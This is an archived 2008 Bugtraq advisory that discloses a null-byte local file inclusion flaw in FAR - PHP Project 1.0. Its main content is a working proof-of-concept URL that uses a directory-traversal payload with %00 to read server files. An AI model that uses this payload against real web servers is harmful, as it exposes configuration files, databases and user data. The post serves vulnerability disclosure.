bugtraq - Null Byte Local file Inclusion in FAR

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Wed, 20 Aug 2008 20:56:42 -0600
From: beenudel1986@...il.com
To: bugtraq@...urityfocus.com
Subject: Null Byte Local file Inclusion in FAR - PHP Project version:1.0

################################################################
# .___ __ _______ .___ #
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #
# \/ \/ \/ #
# ___________ ______ _ __ #
# _/ ___\_ __ \_/ __ \ \/ \/ / #
# \ \___| | \/\ ___/\ / #
# \___ >__| \___ >\/\_/ #
# est.2007 \/ \/ forum.darkc0de.com #

################################################################

# Web Application: FAR - PHP Project version:1.0
# Vendor's Address :www.far-php.ro
################################################################


################################################################
Author: Beenu Arora
Address: www.beenuarora.com
################################################################


#Python Dark Scripts: www.beenuarora.com/work.html

################################################################
#Date Found: 21/08/08
#Severity: High
#Security Risk:Null Byte Files Retrieval
#Explaination:It is possible to view the contents of any file (e.g. databases, user information or configuration files) on the web server (under the permission restrictions of the web server user)


#POC: http://localhost/farver/index.php?c=/../../../../../../../../boot.ini%00
#For the POC pic visit: www.beenuarora.com/POC.bmp

################################################################
 ______________________________________________________________________________________
|Greetz: D3hydr8,rascal,rsauron,patrick,baltazar,sinner_01 and rest of team memebers. |
|_____________________________________________________________________________________|